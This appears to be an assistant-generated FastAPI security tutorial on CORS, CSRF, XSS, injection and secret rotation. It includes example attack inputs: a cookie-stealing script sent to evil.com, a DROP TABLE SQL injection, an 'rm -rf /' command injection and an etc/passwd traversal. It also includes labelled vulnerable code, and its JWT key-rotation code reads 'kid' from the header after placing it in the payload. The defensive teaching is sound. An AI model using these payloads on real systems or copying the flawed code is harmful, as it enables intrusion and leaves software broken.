FastAPI Mastery — Topic 11: Security

Topic 11

Security 🛡️

Production APIs face real threats — CORS misconfigurations, CSRF attacks, XSS vulnerabilities, and injection attacks can compromise your system. This topic teaches you to defend against all of them, plus manage secrets safely so credentials never leak.

Threat	What it does	Severity	FastAPI defence
CORS	Browser allows cross-origin requests to your API from untrusted sites	High	CORSMiddleware with strict origins
CSRF	Attacker tricks logged-in user's browser to send forged requests	High	CSRF tokens, SameSite cookies
XSS	Malicious scripts injected into responses execute in victims' browsers	High	CSP headers, output encoding
SQL Injection	Attacker manipulates DB queries via user input	High	Parameterised queries, ORM
Command Injection	OS commands injected via API input	High	Never pass user input to shell

11.1 API Security

🌐

CORS (Cross-Origin Resource Sharing)

▼

What is CORS? Browsers enforce the Same-Origin Policy — by default, JavaScript on https://frontend.com cannot call https://api.yourdomain.com. CORS is the mechanism that lets you selectively relax this restriction.

When a browser makes a cross-origin request, it first sends a preflight OPTIONS request. Your server must respond with the right headers, or the browser blocks the actual request — even if your server returned 200.

⚠️

Common mistake: Setting allow_origins=["*"] in production. This allows ANY website to call your API. Always whitelist specific origins.

Simple Request

GET/POST with basic headers. No preflight. Browser sends request directly and checks response headers.

Preflight Request

PUT/DELETE, custom headers, JSON content-type. Browser sends OPTIONS first, waits for CORS headers, then sends actual request.

python — main.py

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

# ✅ Production-safe CORS configuration
app.add_middleware(
    CORSMiddleware,
    # Only allow your actual frontend origins
    allow_origins=[
        "https://myapp.com",
        "https://www.myapp.com",
        "https://staging.myapp.com",
    ],
    # Allow cookies / Authorization headers with credentials
    allow_credentials=True,
    # Which HTTP methods are allowed cross-origin
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    # Which request headers are allowed
    allow_headers=["Authorization", "Content-Type", "X-Request-ID"],
    # How long browsers can cache preflight results (seconds)
    max_age=3600,
)

# ❌ NEVER do this in production:
# allow_origins=["*"], allow_credentials=True  ← this combination is invalid anyway
# allow_origins=["*"]  ← allows every website on the internet


# Development: allow localhost on various ports
import os

if os.getenv("ENV") == "development":
    DEV_ORIGINS = [
        "http://localhost:3000",   # React dev server
        "http://localhost:5173",   # Vite dev server
        "http://127.0.0.1:3000",
    ]

python — dynamic CORS from settings

from pydantic_settings import BaseSettings
from typing import List

class Settings(BaseSettings):
    ALLOWED_ORIGINS: List[str] = ["http://localhost:3000"]
    
    class Config:
        env_file = ".env"

settings = Settings()

app.add_middleware(
    CORSMiddleware,
    allow_origins=settings.ALLOWED_ORIGINS,
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

# .env file:
# ALLOWED_ORIGINS=["https://myapp.com","https://www.myapp.com"]

💡

Note on allow_credentials=True: When this is set, allow_origins cannot be ["*"] — browsers reject this combination. You must list specific origins.

🎭

CSRF (Cross-Site Request Forgery)

▼

How CSRF works: A user is logged in to your bank app (bank.com). They visit a malicious site. That malicious site sends a POST to bank.com/transfer — and since the user's cookies are automatically included by the browser, the bank thinks it's a legitimate request.

User logs in to your app

Browser stores session cookie for yourapp.com

Attacker creates malicious page

Contains hidden form or JS that sends POST to yourapp.com/delete-account

User visits malicious page

Browser auto-sends the session cookie with the request

Server executes the action

Without CSRF protection, server thinks this is a legitimate request

Defence Strategy 1 — SameSite Cookies

python — SameSite cookie

from fastapi import FastAPI, Response

app = FastAPI()

@app.post("/login")
async def login(response: Response):
    # SameSite=Strict: cookie NOT sent on any cross-site request
    # SameSite=Lax:    cookie sent on top-level navigation only (safer default)
    # SameSite=None:   must set Secure=True, sent on all cross-site requests
    response.set_cookie(
        key="session",
        value="abc123",
        httponly=True,     # JS cannot read this cookie (blocks XSS theft)
        secure=True,       # Only sent over HTTPS
        samesite="lax",    # Not sent on cross-site POST requests
        max_age=3600,
    )
    return {"msg": "logged in"}

Defence Strategy 2 — CSRF Token (Double Submit Pattern)

python — CSRF token implementation

import secrets
from fastapi import FastAPI, Request, HTTPException, Depends, Response

app = FastAPI()

# Simple in-memory store (use Redis in production)
csrf_tokens: dict = {}

@app.get("/csrf-token")
async def get_csrf_token(response: Response):
    # Generate a cryptographically secure random token
    token = secrets.token_hex(32)
    # Store it (in production: store in session or Redis)
    csrf_tokens[token] = True
    # Send as cookie AND return in body
    # Frontend must read cookie and send token in header
    response.set_cookie("csrf_token", token, httponly=False, samesite="strict")
    return {"csrf_token": token}


async def verify_csrf(request: Request):
    # Attacker cannot set custom headers cross-origin (blocked by CORS)
    token = request.headers.get("X-CSRF-Token")
    if not token or token not in csrf_tokens:
        raise HTTPException(status_code=403, detail="CSRF validation failed")
    del csrf_tokens[token]  # One-time use


@app.post("/transfer", dependencies=[Depends(verify_csrf)])
async def transfer_money(amount: float):
    # This endpoint requires valid CSRF token in header
    return {"transferred": amount}

ℹ️

JWT APIs are naturally CSRF-resistant because attackers can't read the JWT from localStorage (XSS aside) and custom headers like Authorization: Bearer ... can't be forged cross-origin. CSRF protection matters most for cookie-based auth.

💉

XSS (Cross-Site Scripting)

▼

What is XSS? Attackers inject malicious JavaScript into your page that runs in other users' browsers — stealing cookies, tokens, or performing actions on their behalf. There are two types:

Stored XSS

Attacker saves malicious script to your DB (e.g. in a comment field). When other users view the page, the script executes.

Reflected XSS

Malicious script is in a URL parameter. When the server reflects it back unescaped, the script executes in the victim's browser.

Defence 1 — Content Security Policy (CSP) Headers

python — security headers middleware

from fastapi import FastAPI, Request
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import Response

app = FastAPI()

class SecurityHeadersMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        response: Response = await call_next(request)
        
        # Prevent browsers from guessing content type
        response.headers["X-Content-Type-Options"] = "nosniff"
        
        # Prevent your site from being framed (clickjacking)
        response.headers["X-Frame-Options"] = "DENY"
        
        # Enable browser's built-in XSS filter
        response.headers["X-XSS-Protection"] = "1; mode=block"
        
        # Force HTTPS for 1 year
        response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
        
        # Content Security Policy: only allow scripts from your own domain
        response.headers["Content-Security-Policy"] = (
            "default-src 'self'; "
            "script-src 'self'; "       # No inline scripts, no CDN scripts
            "style-src 'self' 'unsafe-inline'; "
            "img-src 'self' data: https:; "
            "frame-ancestors 'none';"    # Blocks framing (like X-Frame-Options)
        )
        
        # Prevent referrer leaking
        response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
        
        return response

app.add_middleware(SecurityHeadersMiddleware)

Defence 2 — Input Validation + Output Encoding

python — sanitize user input with bleach

# pip install bleach
import bleach
from fastapi import FastAPI
from pydantic import BaseModel, field_validator

app = FastAPI()

class CommentCreate(BaseModel):
    content: str
    
    @field_validator("content")
    @classmethod
    def sanitize_content(cls, v: str) -> str:
        # Strip all HTML tags (prevent stored XSS)
        v = bleach.clean(v, tags=[], strip=True)
        
        # OR: allow only safe tags like bold/italic
        # ALLOWED_TAGS = ["b", "i", "em", "strong"]
        # v = bleach.clean(v, tags=ALLOWED_TAGS, strip=True)
        
        return v

@app.post("/comments")
async def create_comment(comment: CommentCreate):
    # content is now safe to store in DB
    return {"stored": comment.content}


# Example: attacker sends this payload
# {"content": "<script>fetch('evil.com?c='+document.cookie)</script>"}
# After bleach.clean: ""  ← script tag and content stripped

💡

FastAPI + JSON APIs are less XSS-prone because you return JSON (not HTML). XSS risk increases if you render user data in HTML templates. Always set httponly=True on session cookies so XSS can't steal them via document.cookie.

🔓

Injection Attacks

▼

Injection attacks occur when user input is interpreted as code or commands. The most dangerous are SQL injection and OS command injection.

SQL Injection

python — ❌ VULNERABLE raw SQL

# ❌ NEVER DO THIS — string interpolation in SQL
@app.get("/users")
async def get_user_vulnerable(name: str):
    query = f"SELECT * FROM users WHERE name = '{name}'"
    # Attacker sends: name = "'; DROP TABLE users; --"
    # Query becomes: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
    # 💥 Entire users table deleted!
    result = await db.execute(query)
    return result

python — ✅ Safe: parameterised queries

from sqlalchemy import text from sqlalchemy.ext.asyncio import AsyncSession # ✅ Method 1: SQLAlchemy ORM (safest — never touches raw SQL) @app.get("/users/orm/{user_id}") async def get_user_orm(user_id: int, db: AsyncSession = Depends(get_db)): user = await db.get(User, user_id) return user # ✅ Method 2: Parameterised raw SQL (safe — DB driver handles escaping) @app.get("/users/raw") async def get_user_raw(name: str, db: AsyncSession = Depends(get_db)): # The :name is a placeholder — database driver binds the value safely query = text("SELECT * FROM users WHERE name = :name") result = await db.execute(query, {"name": name}) return result.fetchall() # ✅ Method 3: Pydantic validates types (int ID can never be SQL injection) @app.get("/users/{user_id}") async def get_user(user_id: int): # FastAPI rejects non-integer values pass

OS Command Injection

python — ❌ VULNERABLE vs ✅ Safe

import subprocess from pathlib import Path # ❌ NEVER pass user input directly to shell @app.get("/ping") async def ping_vulnerable(host: str): result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True) # Attacker sends: host = "google.com; rm -rf /" # 💥 Both commands execute! # ✅ Pass arguments as list — no shell interpolation @app.get("/ping") async def ping_safe(host: str): # Validate input first import re if not re.match(r'^[a-zA-Z0-9.-]+$', host): raise HTTPException(status_code=400, detail="Invalid hostname") # shell=False + list args = no shell injection possible result = subprocess.run( ["ping", "-c", "1", host], # Each arg is separate, never concatenated shell=False, capture_output=True, timeout=5 ) return {"output": result.stdout.decode()} # ✅ Path traversal prevention @app.get("/files/{filename}") async def get_file(filename: str): base_dir = Path("/app/uploads") file_path = (base_dir / filename).resolve() # Ensure resolved path is still inside uploads/ (prevents ../../etc/passwd) if not str(file_path).startswith(str(base_dir)): raise HTTPException(status_code=403, detail="Access denied") return FileResponse(file_path)

⚠️

Golden Rule: Never trust user input. Validate it early (Pydantic), use safe APIs (ORM, parameterised queries), and never interpolate user data into shell commands or SQL strings.

11.2 Secret Management

🔑

Environment Variables

▼

Secrets should never be hardcoded in source code. Environment variables keep them outside your codebase. FastAPI apps typically use pydantic-settings to load and validate them.

🚨

Most common mistake: Committing .env files or API keys to Git. Always add .env to .gitignore. Use .env.example (with placeholder values) instead.

.env — local secrets (NEVER commit to git)

# .env — add this to .gitignore!
DATABASE_URL=postgresql+asyncpg://user:password@localhost/mydb
SECRET_KEY=your-super-secret-jwt-key-here
OPENAI_API_KEY=sk-...
REDIS_URL=redis://localhost:6379/0
ALLOWED_ORIGINS=["https://myapp.com"]
ENV=development
DEBUG=false

python — pydantic-settings (type-safe env loading)

# pip install pydantic-settings from pydantic_settings import BaseSettings, SettingsConfigDict from pydantic import PostgresDsn, RedisDsn, AnyHttpUrl from typing import List, Literal from functools import lru_cache class Settings(BaseSettings): # Application APP_NAME: str = "MyFastAPI" ENV: Literal["development", "production", "test"] = "development" DEBUG: bool = False # Security — these MUST come from environment, no defaults SECRET_KEY: str # No default = required env var # Database DATABASE_URL: str # External APIs OPENAI_API_KEY: str # CORS ALLOWED_ORIGINS: List[str] = ["http://localhost:3000"] model_config = SettingsConfigDict( env_file=".env", # Load from .env file env_file_encoding="utf-8", case_sensitive=False, # DATABASE_URL = database_url ) # Cache settings so .env is only read once @lru_cache() def get_settings() -> Settings: return Settings() settings = get_settings() # Usage in any module from app.core.config import settings openai_key = settings.OPENAI_API_KEY # ✅ Type-safe, validated

python — inject settings via Depends

from fastapi import Depends # Inject settings into route handlers cleanly @app.get("/info") async def app_info(settings: Settings = Depends(get_settings)): return { "app_name": settings.APP_NAME, "env": settings.ENV, # NEVER return SECRET_KEY or API keys! }

Environment Variable Best Practices

✅ Do

Use .env locally, inject via platform (AWS Secrets Manager, K8s secrets, Docker secrets, Heroku config vars) in production. Rotate secrets regularly.

❌ Don't

Never hardcode secrets. Never commit .env files. Never log environment variables. Never expose them in error messages or API responses.

🔄

Secret Rotation

▼

Why rotate secrets? Even with perfect security, secrets can leak — through breaches, disgruntled ex-employees, or misconfigured logs. Rotation limits the damage window: a leaked secret becomes useless after rotation.

JWT Secret Key Rotation (Zero-Downtime)

The trick: support multiple active keys during transition. Sign new tokens with the new key, but accept tokens signed with either key.

python — dual-key JWT rotation strategy

from jose import jwt, JWTError from fastapi import HTTPException import time # Store multiple active secret keys # Key ID (kid) tracks which key was used to sign SECRET_KEYS = { "v2": "new-secret-key-after-rotation", # Current signing key "v1": "old-secret-key-before-rotation", # Still accepted for old tokens } CURRENT_KID = "v2" # New tokens signed with this def create_token(data: dict) -> str: payload = {**data, "kid": CURRENT_KID, "exp": int(time.time()) + 3600} # Always sign with current (newest) key return jwt.encode(payload, SECRET_KEYS[CURRENT_KID], algorithm="HS256") def verify_token(token: str) -> dict: # Peek at the header to find which key was used header = jwt.get_unverified_header(token) kid = header.get("kid", CURRENT_KID) if kid not in SECRET_KEYS: raise HTTPException(status_code=401, detail="Unknown key version") try: # Verify with the key that signed this token payload = jwt.decode(token, SECRET_KEYS[kid], algorithms=["HS256"]) return payload except JWTError: raise HTTPException(status_code=401, detail="Invalid token") # Rotation process: # Step 1: Add new key "v2" to SECRET_KEYS, set CURRENT_KID = "v2" # Step 2: Deploy — new tokens use v2, old v1 tokens still accepted # Step 3: Wait until all v1 tokens expire (e.g. 24h) # Step 4: Remove v1 from SECRET_KEYS — old tokens now invalid

Database Password Rotation

python — graceful connection pool rotation

from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession from sqlalchemy.orm import sessionmaker import boto3 # AWS Secrets Manager import json def get_db_password() -> str: # Fetch current password from secrets manager (always fresh) client = boto3.client("secretsmanager") response = client.get_secret_value(SecretId="prod/myapp/db-password") secret = json.loads(response["SecretString"]) return secret["password"] # On rotation: AWS rotates the secret, next DB connection uses new password # Old connections in the pool continue with old password until pool refresh engine = create_async_engine( f"postgresql+asyncpg://user:{get_db_password()}@localhost/db", pool_pre_ping=True, # Test connections before use, auto-reconnect pool_recycle=1800, # Recycle connections every 30 min )

API Key Rotation for External Clients

python — API key rotation endpoint

import secrets from datetime import datetime, timedelta from fastapi import FastAPI, Depends # API keys stored in DB with versioning class APIKeyRecord: key: str created_at: datetime expires_at: datetime # Null = never expires is_active: bool @app.post("/api-keys/rotate") async def rotate_api_key(current_user = Depends(get_current_user), db = Depends(get_db)): # 1. Generate new key new_key = "sk_" + secrets.token_urlsafe(32) # 2. Mark old keys as expiring soon (grace period for transition) await db.execute( "UPDATE api_keys SET expires_at = :exp WHERE user_id = :uid AND is_active = true", {"exp": datetime.utcnow() + timedelta(days=7), "uid": current_user.id} ) # 3. Create new key await db.execute( "INSERT INTO api_keys (user_id, key, is_active) VALUES (:uid, :key, true)", {"uid": current_user.id, "key": new_key} ) return { "new_key": new_key, "old_key_expires": "7 days", "message": "Update your applications to use the new key within 7 days" }

Cloud Secret Manager Integration

python — AWS / GCP secrets at startup

from contextlib import asynccontextmanager from fastapi import FastAPI import boto3 import json class SecretStore: _secrets: dict = {} @classmethod def load_from_aws(cls, secret_name: str): client = boto3.client("secretsmanager", region_name="us-east-1") resp = client.get_secret_value(SecretId=secret_name) cls._secrets = json.loads(resp["SecretString"]) @classmethod def get(cls, key: str) -> str: return cls._secrets[key] @asynccontextmanager async def lifespan(app: FastAPI): # Load all secrets once at startup SecretStore.load_from_aws("prod/myapp/secrets") print("✅ Secrets loaded from AWS") yield # Cleanup SecretStore._secrets.clear() app = FastAPI(lifespan=lifespan) # Access anywhere: # SecretStore.get("DATABASE_PASSWORD") # SecretStore.get("STRIPE_SECRET_KEY") # Equivalent for GCP Secret Manager: # from google.cloud import secretmanager # client = secretmanager.SecretManagerServiceClient() # name = f"projects/{project_id}/secrets/{secret_id}/versions/latest" # response = client.access_secret_version(request={"name": name}) # secret = response.payload.data.decode("UTF-8")

💡

Secret management checklist:
✅ Use environment variables or a secrets manager — never hardcode
✅ Different secrets per environment (dev/staging/prod)
✅ Minimum required permissions (least privilege)
✅ Audit who accesses secrets
✅ Rotate secrets automatically (AWS Secrets Manager can do this)
✅ Never log secrets, even partially

📋 Topic 11 Summary

11.1 API Security

• CORS — whitelist origins, never use * in production

• CSRF — SameSite cookies + CSRF tokens for cookie-based auth

• XSS — CSP headers, bleach sanitizer, httponly cookies

• Injection — ORM/parameterised queries, never shell string interpolation

11.2 Secret Management

• Environment variables via pydantic-settings

• Never commit .env files to git

• JWT rotation with multiple active keys

• Cloud secrets (AWS Secrets Manager, GCP Secret Manager)

← Topic 10: Authentication & Authorization

Reply "next" to continue → Topic 12: Database Integration